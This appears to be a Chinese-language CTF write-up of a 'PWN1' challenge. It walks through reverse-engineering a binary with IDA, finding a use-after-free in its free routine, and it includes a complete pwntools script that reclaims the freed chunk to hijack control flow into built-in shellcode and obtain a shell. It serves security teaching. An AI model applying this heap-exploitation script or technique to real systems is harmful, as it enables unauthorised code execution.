某行業內部安全競賽PWN1試題解析
一、緣起
一個朋友參加了某行業內部的安全競賽,因為許久不接觸安全競賽的緣故,有些東西不甚了解,所以讓EM-Lab的小哥哥幫忙熟悉下。
下面正式開始PWN PWN PWN(哈哈哈) !
二、基礎
現在的安全競賽大多是CTF,CTF中的PWN題大多是linux 的ELF可執行程序,PWN呢也就是大家說的二進位(其實二進位也應該是包括逆向的)。PWN是二進位的逆向分析,漏洞挖掘、分析、利用的綜合。因為二進位涉及知識面廣且需要一定深度,二進位號稱三難:入門難、提高難、精通難。本文將儘可能描述的通俗易懂。
必備的基礎知識(只涉及本題要用到的):
1.熟悉linux操作系統的使用。
2.熟悉docker的使用。
3.編程語言:c/c++,intel彙編,python及pythonpwntools(PWN專用庫)
4.熟練使用的逆向分析工具:靜態分析工具IDA
三、環境搭建
工欲善其事,必先利其器。不搭建一個順手的環境,PWN PWN PWN 也不舒服是吧?
這裡推薦下自用的操作環境:
1.主系統也就是電腦安裝了大名鼎鼎kali linux。
2.主系統中使用虛擬機VMware安裝了windows7 64bit,windows7 中安裝了IDA7
3.主系統中使用docker 跑的debian 64bit的鏡像,因為方便32bit程序的調試所以安裝了32bit的支持庫。Debian 鏡像中安裝 socat 方便遠程測試exp。
因為要節省文章篇幅,所以這裡不再講工具的安裝,如遇到安裝問題可以自行百度.
四、程序分析及解體思路
我們拿到程序的第一步就是要讓它跑起來看看它實現了什麼功能,怎麼讓它跑呢?首先要知道它要在什麼地方跑,如果汽車可以在天上跑就不用要飛機了不是,這裡推薦一個linux的工具 file,這個工具可以識別大多數文件的類型,如本文的pwn1:
可以看出pwn1是ELF 64bit程序,需要在linux64bit 系統中才能跑起來。
我們就在docker debian 的鏡像中讓它跑起來,
我們可以發現程序有三個功能:use、after、free。
Use 輸出了一些信息,after輸入一個長度,然後輸入一些字元,free暫時還不知道有什麼用,那麼就逆向分析一下。
打開IDA64 拖入pwn1,進入主函數main,F5大法開啟,就可以看到IDA給我們分析出來了友好的C++代碼。
分析c++ 代碼我們可以看出,use的功能是執行了off_602D58+8地址的代碼
我們來看看這個地址的代碼是什麼,滑鼠雙擊跳進去:
*v3是一個地址指針,保存了sub_401450的地址,滑鼠雙擊再進去,*v3就是下圖所示的代碼,這不就是傳說中的shellcode嗎?原來出題人已經內置了shellcode,這樣就省事多了,只要把程序的控制流劫持到這個地址,就可以拿到shell了。
*v3 +8 是sub_401490的調用,是程序正常的輸出功能,
接下來我們再看after的功能,
After的功能是申請一段指定大小的內存空間,然後從讀取用戶的輸入保存到申請的內存空間。
再來看free的功能,
Free的功能是釋放申請的空間,這裡看到程序只是釋放了申請的空間,並沒有把指針置為空,這就形成了一個典型的UAF漏洞。
這裡我們看下程序初始申請的內存大小,是十六進位的30換成10進位就是48
那麼解體思路就是:
先把程序初始申請的內存使用free功能釋放掉,然後根據ptmalloc的內存管理機制,申請一個同樣大小的內存空間把剛釋放的內存空間分配回來,然後寫入一個可以執行內置shellcode的地址,接著使用use功能就可以拿到shell了。
如下圖的三個payload 任選其一即可,
五、Exp
#!/usr/bin/python
# -*-coding:utf-8 -*-
from pwn import*
import time
def main():
p = remote("172.17.0.2",8888)#連接遠程伺服器
p.recvuntil("1. use, 2. after, 3.free")
p.sendline("3")#釋放程序初始申請的內存
p.recvuntil("1. use, 2. after, 3.free")
p.sendline("2")
p.recvuntil("Please input the length:")
p.sendline("48")#把釋放的內存申請回來,
payload = p64(0x602D90)#轉換payload,三個任選其一的payload
time.sleep(2)
p.sendline(payload)
p.recvuntil("1. use, 2. after, 3.free")
p.sendline("2")#有時候內存一次申請不回來,可以多申請一次,
p.recvuntil("Please input the length:")
p.sendline("48")
time.sleep(2)
p.sendline(payload)
p.sendline("1")#觸發shellcode
time.sleep(2)
p.interactive()
if __name__ =="__main__":
main()
來張效果圖
六、總結
這個題還是比較簡單的,動態調試都不用,解題的關鍵是利用了ptmalloc的內存分配策略,有一個阿里的工程師寫了一個《glibc內存管理ptmalloc源代碼分析》的文檔(https://wenku.baidu.com/view/20033e124431b90d6c85c718.html),推薦讀一下。
最後祝各位 PWN PWN PWN 愉快!
作者:r0code編輯:信大天瑞 EMLab攻防實驗室
TAG:EMLab攻防實驗室 |